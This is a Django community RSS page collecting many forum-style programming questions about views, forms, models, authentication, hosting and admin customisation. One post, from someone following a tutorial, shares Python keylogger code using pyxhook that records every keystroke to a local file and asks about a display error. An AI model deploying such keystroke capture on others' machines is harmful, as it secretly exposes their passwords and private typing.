Django community: RSS
This page, updated regularly, aggregates Django Q&A from the Django community.
-
Why is the filter not working in views.py?
I'm trying to inject a query into an html with django, but the thing is that it saves to the database but the query doesn't recognize it, I will mention the relevant parts so you can see to what I'm referring. from django.shortcuts import render from django.contrib.auth import authenticate, login, logout from django.urls import reverse, reverse_lazy from .forms import PostForm, PostUpdateForm from django.views.generic import ListView, DetailView, CreateView, UpdateView, DeleteView from .models import Post, Category # Create your views here. def index(request): return render(request, 'app1/index.html') class PostView(ListView): model = Post template_name = 'app1/post.html' ordering = ['-post_date'] def get_context_data(self, *args, **kwargs): cat_menu = Category.objects.all() context = super(PostView, self).get_context_data(*args, **kwargs) context["cat_menu"] = cat_menu return context def CategoryView(request, cats): category_posts = Post.objects.filter(category=cats.replace('-', ' ')) return render(request, 'app1/categories.html', {'cats':cats.title().replace('-', ' '), 'category_posts': category_posts}) def CategoryListView(request): cat_menu_list = Category.objects.all() return render(request, 'app1/category_list.html', {"cat_menu_list":cat_menu_list}) class ArticleDetailView(DetailView): model = Post template_name = 'app1/article_details.html' class AddPostView(CreateView): model = Post form_class = PostForm template_name = 'app1/createpost.html' #fields = '__all__' def get_context_data(self, *args, **kwargs): cat_menu = Category.objects.all() context = super(AddPostView, self).get_context_data(*args, **kwargs) context["cat_menu"] = cat_menu return context class UpdatePostView(UpdateView): model = Post form_class = PostUpdateForm template_name = 'app1/update_post.html' class DeletePostView(DeleteView): model = Post template_name = 'app1/delete_post.html' success_url = reverse_lazy('index') class AddCategoryView(CreateView): … -
How to get the filefield url forms django?
I have a page in django that allows loading an image to the user, the image is saved correctly in the static folder and is also displayed correctly, the problem is that when I update the user to modify something other than their image, this is deleted, I need to reload the image every time the user is updated so that the image is not deleted when saving changes. What I am trying to do is that when the user is updated, it brings me the above image as in the following image: This is what I get by updating the user: Model: class AbstractUser(AbstractBaseUser, PermissionsMixin): username_validator = UnicodeUsernameValidator() username = models.CharField( _('username'), max_length=150, unique=True, help_text=_('Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.'), validators=[username_validator], error_messages={ 'unique': _("A user with that username already exists."), }, ) userfile = models.FileField(upload_to='userphoto', null=True, default='null', help_text="User Photo") first_name = models.CharField(_('first name'), max_length=30, blank=True) last_name = models.CharField(_('last name'), max_length=150, blank=True) email = models.EmailField(_('email address'), blank=True) def __str__(self): return str(self.userfile) View: def UserUpdateView(request, userid): if request.method == 'POST': form = UserEdit(request.POST, request.FILES or None) if form.is_valid(): actualuserid = User.objects.get(pk=form.cleaned_data.get('user_id')) actualuserid.userfile = form.cleaned_data.get('userfile') print(actualuserid.userfile) actualuserid.first_name = form.cleaned_data.get('first_name') actualuserid.last_name = form.cleaned_data.get('last_name') actualuserid.email = form.cleaned_data.get('email') actualuserid.save() else: return … -
I cant import rest_framework_simplejwt.views in my django project
I can't import the rest_framework_simplejwt in my django project specifically in my urls.py. I downgrade django to 3.0 and djangorestframework to 3.10 and still didnt work from rest_framework_simplejwt.views import ( TokenObtainPairView, TokenRefreshView, ) This is my configuration in my settings.py INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'corsheaders', 'rest_framework', 'accounts', ] MIDDLEWARE = [ 'corsheaders.middleware.CorsMiddleware', 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] REST_FRAMEWORK = { 'DEFAULT_PERMISSION_CLASSES': [ 'rest_framework.permissions.IsAuthenticated' ], 'DEFAULT_AUTHENTICATION_CLASSES': [ 'rest_framework_simplejwt.authentication.JWTAuthentication', ] } and here is my pip freeze asgiref==3.2.10 Django==3.0 django-cors-headers==3.4.0 djangorestframework==3.10.0 djangorestframework-simplejwt==4.4.0 Pillow==7.2.0 psycopg2==2.8.5 psycopg2-binary==2.8.5 PyJWT==1.7.1 pytz==2020.1 sqlparse==0.3.1 if you need more info please tell me and i will provide it. Thank you -
How can I host my Django Website on Plesk Obsidian?
I have been trying to host my Django application on ionos Plesk server, any ideas or help, please? -
Is Google VR View suitable for this project?
Hello to all the coders here, this is my first post. I am a beginner coder and really want to learn how to organize my ideas for projects from the concept to an actual working web app or website. I am hoping with this first project that some more experienced coders can help me to sort out how to organize the building of a project so that I can learn some better coding practices. I want to make a little interactive Television set that will open as a new browser window from a hyperlink, so that in the new window there will be a large image of TV set with a round area for the screen (where the video will play) and 3 dials to the side that can be used to control the video stream by mouse on-click. The 3 dials will: turn the TV on/off, change the channel between 3 different videos, and adjust the volume. I would be so thankful to receive tips and advice for how a more experienced coder might build a little project like this. This is what I have working so far I have the domain name registered (that will serve as the … -
Subcategories display in Django
Hope you can help me with this one.I am very new to Python/Django so my code might be quite bad. I am creating a website/blog and on my navigation bar I have a list of the categories which contain dropdown menues with the subcategories. When I click on each subcategory I want it to display just the posts from that subcategory. Here is part of my code for this: "Models": from django.db import models from django.utils import timezone from django.utils.text import slugify from django.urls import reverse from ckeditor_uploader.fields import RichTextUploadingField class Post(models.Model): NO_CATEGORY = 'No Category' GETTING_STARTED = 'Getting Started' DIY = "DIY" GARDENS = 'Gardens' TERRARIUMS = 'Terrariums' CATEGORIES = ( (NO_CATEGORY, 'No Category'), (GETTING_STARTED, 'Getting Started'), (DIY, 'DIY'), (GARDENS, 'Gardens'), (TERRARIUMS, 'Terrariums'), ) title = models.CharField(max_length=200, unique=True) slug = models.SlugField(unique=True, default='', blank=True) image = models.ImageField(upload_to='images/') content = RichTextUploadingField(null=True, blank=True) summary = models.CharField(max_length=150, unique=True, null=True) category = models.CharField(choices=CATEGORIES, max_length=15, default=NO_CATEGORY) subcategory = models.ForeignKey('Subcategory', on_delete=models.SET_NULL, null=True) created_date = models.DateTimeField(default=timezone.now) def __str__(self): return self.title def save(self, *args, **kwargs): self.slug = slugify(self.title) super(Post, self).save(*args, **kwargs) def get_absolute_url(self): return reverse('core:post_detail', args=[str(self.slug)]) class Meta: ordering = ['-created_date'] class Subcategory(models.Model): NO_CATEGORY = 'No Category' TOOLS = 'Tools' HOW_TO = 'How To' SUPPLIES = 'Supplies' FURNITURE … -
Modify value of body in django request
I want to update the value of the json body value in a post Request in my django API (also using rest framework), right now I'm trying to doing this with a custom middleware. This is my middleware. def CustomMiddleware(get_response): def middleware(request): print('request: ', request, ' type: ', type(request), ' vars: ', vars(request)) print('request: ', request.body) body = json.loads(request.body) body['attr'] = str(body['attr'])+'abc' request.body = json.dumps(body) response = get_response(request) return response return middleware So when I'm doing a POST request to my API, I got this error: File "/path/models_masking/mask_middleware.py", line 37, in middleware request.body = json.dumps(request_updated) AttributeError: can't set attribute I'd reading and discovered that the request object is immutable, so I'm not sure if I'm able to copy to request object, modify the copy and then sent it to the get_response function, or maybe there's a better approach to do this, maybe a decorator for my APIView classes. Could anybody help me out with an elegant solution for this? -
Integrity Error django with UniqueConstraint
I have the following model snippet: class InvoiceReference(TemplateMixin, models.Model): user = models.ForeignKey( settings.AUTH_USER_MODEL, on_delete=models.CASCADE, ) reference_prefix = models.CharField( max_length=100, validators=(RegexValidator(regex='^\S+$', message='reference prefix must not include spaces'),) ) reference_offset = models.PositiveIntegerField(default=0) reference_suffix = models.CharField( max_length=100, validators=(RegexValidator(regex='^\S+$', message='reference suffix must not include spaces'),) ) reference_separator = models.CharField(max_length=1) class Meta: constraints = [ models.UniqueConstraint(fields=('user', 'reference_prefix', 'reference_suffix', 'reference_separator',), name='unique_reference') ] The idea is to have it so that a no single user cannot use the same reference_prefix, reference_separator and reference_suffix together multiple times. (if different users use the same combination of reference_prefix, reference_separator and reference_suffix this is ok.) I am currently using the django-admin model form, where I have excluded the user field and attach a user in save_model: class InvoiceReferenceAdmin(admin.ModelAdmin): model = InvoiceReference exclude = ('user',) def save_model(self, request, obj, form, change): if not obj.pk: obj.user = request.user super().save_model(request=request, obj=obj, form=form, change=change) however, this results in an 'Integrity Error' when I try to save the model. -
Django: how to link to specific user?
I am trying to create a website with a To-do function! So far, I've programmed it so it works perfectly with one user. However, when I log in with a different user, I can still view my to-do list, and I don't want this. Now, I'd be very happy if I can make this specific feature useable to lots of people. so this person logs into his account, create his own list / I log in to mine and create my own one. I've searched for so many youtube tutorials and articles, none of them helped :( It'll be awesome if I can solve this here, with lots of help from coding experts like you! Here's my code that's related to To-do feature Views.py def ToDo(request): todos = TodoList.objects.all() categories = Category.objects.all() if request.method == "POST": if "taskAdd" in request.POST: title = request.POST["description"] date = str(request.POST["date"]) category = request.POST["category_select"] content = title + " -- " + date + " " + category Todo = TodoList(title=title, content=content, due_date=date, category=Category.objects.get(name=category)) Todo.save() return redirect("/to_do") if "taskDelete" in request.POST: print(request.POST) checkedlist = request.POST.getlist('checkedbox') for todo_id in checkedlist: todo = TodoList.objects.get(id=int(todo_id)) todo.delete() return render(request, 'Todolist.html', {"todos": todos, "categories":categories}) models.py class TodoList(models.Model): title = models.CharField(max_length=250) … -
django template extend - forcing a download
I am working through some various django tutorials and have not had an issue with this on other builds. I have a base.html which is my template. I have 2 other html files that I include the {% extends ... %} tag. In the 2 files, I copy and pasted so they are identical. One of them loads, the other forces a file download. For example; localhost:8000/page1 (works) localhost:8000/page2 (does not work, and downloads an empty file) I've not had this problem on various other builds. Thanks, Julien -
Display smileys with html code from TextChoices models
I hope you're well, I've created a TextChoices models for my UserProfile. If display data {{ user.userprofile.smiley }} I got the code 🍆 but not 🍆. Do you have any idea? I've added this to my settings.py (DB) 'OPTIONS': {'charset': 'utf8mb4'}, the issue is still here. Also change my MYSQL smiley field to utf8mb4_bin... class Smileys(models.TextChoices): AUBERGINE = '🍆' AVOCADO = '🥑' BROCCOLI = '🥦' ... class UserProfile(models.Model): smiley = models.CharField(max_length=20,choices=Smileys.choices,default=Smileys.CHERRY,) ... -
Why is Django REST Framework giving a 403 Forbidden error to non-GET requests sent from every computer but my own?
I'm currently developing a web app with a Django REST Framework API. It works perfectly on the computer that I developed the web app on (it is hosted online, not locally, so this seems odd to me), but then when I try logging onto the website from any other computer, all GET requests work perfectly well (the user authentication is working properly as well), but any POST, DELETE, or PUT requests made by the frontend to the API receive a 403 Forbidden error. I'm using a React frontend and using the fetch API to make requests to the backend. Here are the important parts of my settings.py file (the app is deployed using heroku): import django_heroku DEBUG = False ALLOWED_HOSTS = ['somehostdomain'] REST_FRAMEWORK = { 'DEFAULT_AUTHENTICATION_CLASSES': ( 'rest_framework.authentication.TokenAuthentication', 'rest_framework.authentication.SessionAuthentication' ) } MIDDLEWARE = [ 'corsheaders.middleware.CorsMiddleware', 'django.middleware.security.SecurityMiddleware', 'whitenoise.middleware.WhiteNoiseMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] CORS_ALLOW_CREDENTIALS = True CORS_ORIGIN_WHITELIST = [ 'http://somedomain' ] django_heroku.settings(locals()) Each frontend request looks something like this: someRequest(parameter) { let csrftoken = this.getCookie('csrftoken'); fetch('https://somedomain/api/some-request/', { method: 'POST', credentials: 'include', headers: { 'Content-type': 'application/json', 'X-CSRFToken': csrftoken }, body: JSON.stringify({ "parameter": parameter }) }) } where the function getCookie just creates a csrftoken (this part isn't original code, it's … -
How often is too often with request to server
I have been learning Django for years now, but still don't know a whole lot about how nginx, gunicorn, and how requests are actually processed. I have a Django application running on a digital ocean droplet (Ubuntu 18.2). I am also using gunicorn and nginx. I have several (50-75) raspberry pi's that I want to take photos on request. So my plan is to have the raspberry pi's check in with the server every 5 seconds by using a GET request via Django REST. The response from this django view will tell the raspberry pi's if they should take an image and post it or not. So my question is, generally speaking, how often is too often for requests like this? My above example would result in about 75 requests per second, and a GET request every 5 seconds from the same device 24 hours per day. -
Storing arrays in Django Models (not PostGreSQL)
I want a field in my Django model to store array data. For instance consider a model that stores Student data. I want an array field that stores the marks of that student as an integer array. What can I do? I am not using PostGreSQL so I cannot use ArrayField. class Student(models.Model): ... ... marks = models.? -
Django admin cant display upload files by form
I have model where I can upload files without problem, and a model forms which upload the file, which get the path perfectly when I call them in a html loop; but this files can't be accessed by django admin interface. In the two cases the uploaded files can by get in the defined media_root. What am I doing wrong? models.py class Documentos(models.Model): user = models.OneToOneField(User, on_delete="models_CASCADE", null=True, blank=True) nome = models.CharField(max_length=200, default='Arquivo') documento = models.FileField(upload_to='') data = models.DateField(auto_now_add=True) formatado = models.BooleanField(default=False) class Meta: verbose_name = 'Documento' verbose_name_plural = 'Documentos' def __str__(self): return self.nome forms.py class DocumentosForm(forms.ModelForm): class Meta: model = Documentos fields = ['user','nome','documento'] views.py from django.shortcuts import render from django.contrib.auth.decorators import login_required from django.core.files.storage import FileSystemStorage from .forms import * from .models import * def alfa(request): return render(request, 'pdfupload.html') # Create your views here. @login_required(login_url='/register') def upload(request): context = {} if request.method == 'POST': uploaded_file = request.FILES['document'] fs = FileSystemStorage() name = fs.save(uploaded_file.name, uploaded_file) context['url'] = fs.url(name) return render(request, 'pdfupload.html', context) def documentos_lista(request): return render(request, 'lista.html') def upload_documento(request): return render(request, 'documento_upload.html') forms.html: <form method="post" enctype="multipart/form-data"> {% csrf_token %} <input type="file" name="document" /> <input type="submit" name="submit" value="Upload" /> </form> I have my project/urls.py: ... ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) I … -
Validate a field based on outcome of other field validations in Django Rest Framework
I have the following serializers.py file: from rest_framework import serializers class SampleSerializer(serializers.Serializer): name = serializers.CharField(allow_blank=False,required=True) initials = serializers.CharField(allow_blank=False,required=True) def validate_initials(self,data): if len(data) > 10: raise serializers.ValidationError("Length of initials is too long") I want to prevent validate_initials() from being called unless name has been provided. In other words only if the validation for name passes must it validate initials. How do i achieve such a hierarchy in serializer validation? -
Django blogs using Rest framework connecting mutliple images to that content in single object
Is there anyway where we can build logic Using django rest framework where user can add blog with multiple images and content accordingly and when saved and retrieved it should be able to display the same kind of UI depening up on the frontend app same like medium platform Note: My question isn't about adding multiple images and content using Rest framework but its about fetching and displaying the data based on how user sent it the server For eg: <Image> content for that image <Image2> content for this image i just want to know how to associate those images to that content i want to add content to that image or is there anyway where we can store image and all the content exacty and save it in TextField I've searched a lot about this but unfortunately I've not found a way to make this happen -
Python Key-logger (.error.DisplayNameError: Bad display name "")
I was following up on a tutorial to build a python keylogger and ended up with this problem. I have gone over my codes about 10 times and compared it with other sources but yet still getting the same error. I have seen similar complaints while looking for a solution, and I hypothesize that it might be my computer( Mac OSX 10.12 sierra, MacBook Pro (13-inch, Mid 2010)). I am not a computer expert so I am not too sure. If it is my system architecture, how do I by-pass it ? if not, what am I missing in the code or where is my error ? import pyxhook log_file = "/Users/VemPC/Desktop/log_file.log" def onPress(event): fob = open(log_file, 'a') fob.write(event.key) fob.write('\n') if event.key.ascii == 96 : fob.close() new_hook.cancel() new_hook = pyxhook.HookManager() new_hook.KeyDown = onPress new_hook.HookKeyboard() new_hook.start() Error: Traceback (most recent call last): File "key_logger.py", line 15, in <module> new_hook = pyxhook.HookManager() File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/pyxhook/pyxhook.py", line 67, in __init__ self.local_dpy = display.Display() File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/display.py", line 89, in __init__ self.display = _BaseDisplay(display) File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/display.py", line 71, in __init__ protocol_display.Display.__init__(self, *args, **keys) File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/protocol/display.py", line 85, in __init__ name, protocol, host, displayno, screenno = connect.get_display(display) File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/support/connect.py", line 73, in get_display return mod.get_display(display) File "/Users/VemPC/Desktop/Challenges/venv/lib/python3.7/site-packages/Xlib/support/unix_connect.py", … -
PLEASE HELP! Django forms.ModelChoiceField only returns 'Select a valid choice. That choice is not one of the available choices.'
Id imagine the validation of "rpa_form.clenaed_data['name']" on line 67 of views.py is failing. Can't get it to successfully clean the data. I have tried all the solutions Ive seen online. And if I submit without cleaning the data it returns the actual object such as: <select name="Name" class="input100" required id="id_Name"> <option value="">---------</option> <option value="1">Test_RPA_1</option> <option value="2">Test_RPA_2</option> </select> PLEASE HELP!! modles.py # RPA (Remote Pen-testing Apliances) Model class RPA(models.Model): name = models.CharField(max_length=200) searial_number = models.CharField(max_length=200) deployed = models.BooleanField() def __str__(self): return self.name # Shipment Model class Order(models.Model): user = models.CharField(max_length=200) RPA_name = models.CharField(max_length=200) # To Feilds to_name = models.CharField(max_length=200) to_company_name = models.CharField(max_length=200) to_street = models.CharField(max_length=200) to_city = models.CharField(max_length=200) to_state = models.CharField(max_length=200) to_postal_code = models.CharField(max_length=200) to_phone_number = models.CharField(max_length=200) # From Feilds from_name = models.CharField(max_length=200) from_company_name = models.CharField(max_length=200) from_street = models.CharField(max_length=200) from_city = models.CharField(max_length=200) from_state = models.CharField(max_length=200) from_postal_code = models.CharField(max_length=200) from_phone_number = models.CharField(max_length=200) # Shipping label info tracking_number = models.CharField(max_length=200) label_image = models.ImageField(null=True, blank=True) # Custom save method to write raw image data into png image. def save(self, Img_Data, *args, **kwargs): Label = Image.open(BytesIO(base64.b64decode(Img_Data))) blob = BytesIO() Label.save(blob, 'PNG') self.label_image.save(f'{self.to_company_name.capitalize()}_label.png', File(blob), save=False) super(Order, self).save(*args, **kwargs) # Name of shipments in djangos admin pannel def __str__(self): return str(str(f'({self.id}) - ') + self.to_company_name.capitalize()) forms.py from … -
Overriding the default admin site - can't find myproject
I am trying to override the default admin site. I followed the Django Docs here: https://docs.djangoproject.com/en/3.0/ref/contrib/admin/#overriding-the-default-admin-site I did everything as stated there so the files look like beneath: admin/admin.py: from django.contrib import admin from django.utils.translation import gettext as _, gettext_lazy class CustomAdminSite(admin.AdminSite): # Text to put in each page's <h1>. site_header = gettext_lazy('TEST administration') admin/apps.py from django.contrib.admin.apps import AdminConfig class CustomAdminConfig(AdminConfig): default_site = 'admin.CustomAdminSite' core/urls.py urlpatterns = [ path(r'testadmin/', admin.site.urls), ] core/settings.py INSTALLED_APPS = [ 'admin.apps.CustomAdminConfig', ] Now I am getting a ImportError: ImportError: Module "admin" does not define a "CustomAdminSite" attribute/class I think this is because django is looking for a admin module that lives inside of the virtual environment with the CustomAdminSite class. This is not the case, the admin folder with the necessary python files lives in the base path of myproject. When I state this in my settings like: myproject.admin.apps.CustomAdminConfig I am getting a ModuleNotFOundError: ModuleNotFoundError: No module named 'myproject' I guess the same thing as stated above. Django is looking for a module named myproject inside of the virtual environment. Is there a way to change this in the settings or a way to bypass this some other way? -
Reverse for 'create_order' with no arguments not found. 1 pattern(s) tried: ['create_order/(?P<pk>[^/]+)/$']
I'm getting this error when I use path('create_order/<str:pk>/', views.createOrder, name="create_order"), but there is no such error when path is.. path('create_order', views.createOrder, name="create_order"), urls.py from django.urls import path from . import views urlpatterns = [ path('', views.home, name="home"), path('products/', views.products, name='products'), path('customer/<str:pk_test>/', views.customer, name="customer"), path('create_order/<str:pk>/', views.createOrder, name="create_order"), path('update_order/<str:pk>/', views.updateOrder, name="update_order"), path('delete_order/<str:pk>/', views.deleteOrder, name="delete_order"), ] views.py def createOrder(request, pk): OrderFormSet = inlineformset_factory(Customer, Order , fields=('product','status'), extra=9) customer = Customer.objects.get(id=pk) formset = OrderFormSet(queryset=Order.objects.none(), instance=customer) #form = OrderForm(initial={'customer':customer}) if request.method == 'POST': #print('printing post', request.POST) formset = OrderFormSet(request.POST, instance=customer) if formset.is_valid(): formset.save() return redirect('/') context = {'formset': formset} #return redirect('accounts/order_form.html', context) return render(request, 'accounts/order_form.html', context) i also have tried redirect, that's not working the problem is with urls.py. -
Django using a modelform to update an instance of model
I have the following model in Django which I use to store data about medicines. class Medicine(models.Model): Medicine_Name = models.CharField(max_length=100) User_Associated = models.ForeignKey(User, on_delete=models.CASCADE) Tablets_In_Box = models.IntegerField() Dose_in_mg = models.IntegerField() Dose_Tablets = models.IntegerField() Number_Of_Boxes = models.IntegerField() Last_Collected = models.DateField() def __str__(self): return self.Medicine_Name def get_absolute_url(self): return reverse('tracker-home') I am trying to create a model form where a user can update the last collection of one of their medicines. Here is what I began with. class CollectionForm(forms.ModelForm): class Meta: model = Medicine fields = ['Medicine_Name', 'Number_Of_Boxes', 'Last_Collected'] I do not understand how I can call an instance of my model based on the 'Medicine_Name' from the field. In other words, I need the user to be able to select the correct medicine from a dropdown menu, and then the form must update the 'Last_Collected', and 'Numer_Of_Boxes' fields on my Medicine model. https://docs.djangoproject.com/en/2.1/topics/forms/modelforms/#the-save-method It seems this contains relevant information, but I struggle to see how to use it in this instance. How can I correctly get the instance of the medicine form I need, based on the user input in the form? Furthermore how can I use the save method in my views to make sure the database gets updated correctly? -
in Django display different data from database in the same page with click
I have 3 buttons in html i want that click in each button display different data from database in the same page (database :one table each elements that have the same foreign key is displayed after each click) I have one table with 3 different possible value of the foreign key and i want that each photo click displays the data which have the same foreign key value and this for the third one using ajax or how can I do it -
How to run multiple websites from one Django project
please forgive my English because I am not a native speaker. I developed a Django web app that I want to sell to multiple(37) clients every one with his own database. When I want to add or change something I have to loop in each app of the 37 clients. is there a way to only change in the first project and update other apps automatically. thank you for your time. -
Django: Add Form to my extension User model
So I have this models, I add to User Model an avatar: class ProfileImage(models.Model): user = models.OneToOneField( verbose_name=_('User'), to=settings.AUTH_USER_MODEL, related_name='profile', on_delete=models.CASCADE ) avatar = models.ImageField(upload_to='profile_image') I also have a forms for the User model: class UserRegisterForm(forms.ModelForm): username = forms.CharField(label='', widget=forms.TextInput(attrs={'placeholder': 'Username'})) email = forms.EmailField(label='', widget=forms.TextInput(attrs={'placeholder': 'Email Address'})) email2 = forms.EmailField(label='', widget=forms.TextInput(attrs={'placeholder': 'Confirm Email'})) password = forms.CharField(label='', widget=forms.PasswordInput(attrs={'placeholder': 'Password'})) class Meta: model = User fields = [ 'username', 'email', 'email2', 'password' ] def clean(self, *args, **kwargs): email = self.cleaned_data.get('email') email2 = self.cleaned_data.get('email2') if email != email2: raise forms.ValidationError('El email debe coincidir') emails_qs = User.objects.filter(email=email) if emails_qs.exists(): raise forms.ValidationError( 'El email ya esta en uso' ) return super(UserRegisterForm, self).clean(*args, **kwargs) I think that if I to the fields of my forms I can see it. So How can I add to my fields the avatar?